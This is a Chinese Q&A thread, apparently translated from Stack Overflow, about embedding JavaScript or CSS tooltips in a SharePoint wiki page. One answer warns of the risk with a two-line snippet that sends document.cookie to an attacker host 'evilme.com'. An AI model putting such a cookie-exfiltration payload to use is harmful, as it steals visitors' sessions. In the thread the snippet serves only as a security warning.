如何将Javascript输入wiki页面?

如何将Javascript输入wiki页面?,javascript,html,sharepoint,wiki,Javascript,Html,Sharepoint,Wiki,作为wiki管理员,我如何将脚本Javascript输入Sharepoint wiki页面? 我想输入一个标题,当点击它时,在它下面显示一个小的解释。我通常是用javascript来实现的,还有其他想法吗?这听起来像是一种安全风险。wiki管理员似乎可以安装脚本,请参阅 您应该不能为任何公共wiki添加javascript代码。如果您自己托管,那么您需要请求一个特定的wiki系统,以便有人可以帮助您修改设置—如果该系统有可能的话。如果您正在谈论将Javascript用作此网站网页的一部分,您不能

作为wiki管理员,我如何将脚本Javascript输入Sharepoint wiki页面?
我想输入一个标题,当点击它时,在它下面显示一个小的解释。我通常是用javascript来实现的,还有其他想法吗?

这听起来像是一种安全风险。wiki管理员似乎可以安装脚本,请参阅

您应该不能为任何公共wiki添加javascript代码。如果您自己托管,那么您需要请求一个特定的wiki系统,以便有人可以帮助您修改设置—如果该系统有可能的话。

如果您正在谈论将Javascript用作此网站网页的一部分,您不能。或者任何其他公共维基——这是一种安全风险


如果您要发布代码示例,请单击文本框上方的“101010”按钮。

这当然取决于您正在使用的wiki引擎。不过,正如斯布伦迪所说,允许在维基页面上免费使用javascript很可能存在安全风险。

这完全取决于您使用的特定维基软件。我看到的工作方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标记

如果他们不允许,也许他们允许一个IFRAME,您可以将它设置为包含脚本的页面。使用第二种技术,您将不被允许访问主机页的DOM。

将title=文本添加到任何标记中,当您将鼠标悬停在该标记上时,它将显示文本。 Internet Explorer在使用alt=text here属性时显示文本,尽管这不符合标准


我现在进行了测试,你可以在维基百科使用的任何基于维基媒体的系统中添加标题。

如果维基作者是明智的,可能没有办法做到这一点

用户贡献的JavaScript的问题在于,它为所有形式的作恶者打开了一扇门,让他们从毫无戒心的用户手中获取数据

让我们假设邪恶我在公共网站上发布了一个脚本:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

现在,我将收到页面上每个访问者的cookie信息,并将其发布到我服务器上的日志中。这只是冰山一角。

假设您是wiki的管理员,并且愿意在鼠标上方而不是单击时显示此内容,那么您根本不需要javascript—您可以使用直接的CSS。以下是样式和标记的示例:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

使用一些更复杂的样式,您的工具提示框可以看起来像您想要的一样漂亮。

我喜欢CSS的答案。当您可以使用CSS而不是Javascript时,它会导致更简单的标记。 另一个需要研究的是Codeplex上的SharePoint增强Wiki版社区工具包。您可以下载源代码并添加自己的功能。或者您可以在论坛中建议将其作为一项新功能。

使用内容编辑器Web部件 从功能区中选择“插入”,然后选择“Web部件”。从菜单中,转到媒体和内容,然后选择内容编辑器。从新创建的Web部件的下拉菜单中,选择“编辑Web部件”。从右侧的“Web部件设置”菜单中,展开“外观”,并将“Chrome类型”设置为“无”。单击此处可在Web部件上添加内容,并在功能区中找到“编辑HTML源”。您可以在此区域使用HTML,而无需对其进行清理

注意:如果您计划向许多页面元素添加行为,您可能希望将.js文件上载到样式库,并在内容编辑器中仅包含标记。您可能还希望研究如何使用自定义母版或页面布局


来源:

你是维基网站管理员还是仅仅是一个用户。这会改变一切。请更新您的问题并包括您的wiki平台。您也可以将此问题标记为“html”。我知道这是一个问题,但由于此问题是sharepoint javascript在wiki页面中的第一个结果,因此我选择回答Y。